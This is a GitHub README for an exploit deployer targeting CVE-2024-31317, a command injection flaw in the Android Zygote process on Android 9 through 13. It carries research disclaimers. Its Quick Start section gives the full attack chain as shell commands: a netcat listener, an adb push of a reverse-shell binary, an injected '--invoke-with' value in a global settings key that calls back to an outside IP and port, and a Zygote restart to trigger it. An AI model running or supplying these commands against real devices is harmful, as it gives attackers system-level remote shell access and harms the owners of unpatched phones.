CVE-2024-31317 Deployer

🔒 Security Research Statement

This project is intended solely for security research and educational purposes. Using this tool for unauthorized testing is illegal. The author is not responsible for any misuse or damage.

📋 Overview

CVE-2024-31317 is a critical security vulnerability affecting Android 9 through Android 13 devices, allowing applications with the WRITE_SECURE_SETTINGS permission to gain system-level execution through command injection.

This project provides detailed technical analysis, proof-of-concept code, and automated deployment tools for the vulnerability.

✨ Main Features

• 📱 Support for Android 9-13 full versions
• 🛠️ Automated deployment scripts
• 🔄 Reverse shell connection
• 📊 Detailed technical documentation
• 🎯 Modular design

🐛 Vulnerability Details

• CVE ID: CVE-2024-31317
• Vulnerability Type: Command Injection
• Severity: High
• CVSS Score: 7.8
• Affected Component: Android Zygote process
• Fix Status: Fixed in June 2024 Android Security Patch

🎯 Affected Range

Affected Versions

• ✅ Android 9-13

Unaffected Versions

• ❌ Android 14+ (fixed)
• ❌ Devices with June 2024 or newer security patches

📁 Project Structure

CVE-2024-31317-Deployer/
├── README.md
├── LICENSE
├── VULNERABILITY_ANALYSIS.md
├── reverse_shell.c
├── compile.sh
├── payloads/
├── scripts/
└── docs/

🚀 Quick Start

1. Clone the Repository

git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer

2. Compile Payload

chmod +x compile.sh
./compile.sh

3. Deploy

# Start listener
nc -lvnp 4444

# Push and execute
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
adb shell chmod 755 /data/local/tmp/reverse_shell

# Inject payload
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"

# Trigger vulnerability
adb shell stop && adb shell start

📚 Documentation

• In-Depth Technical Analysis
• Payload Usage Instructions
• Full Usage Guide

⚠️ Disclaimer

This project is intended solely for security research and educational purposes. By using this tool, you agree to:

• Comply with all applicable laws and regulations
• Use it only for legitimate security research
• Take full responsibility for your actions

📜 License

This project is licensed under the MIT License - see the LICENSE file for details

👨‍💻 Author

fcy10012 - GitHub

🙏 Acknowledgments

Reference project: WebLDix/CVE-2024-31317-PoC-Deployer

⭐ If this project helps you, please give it a star!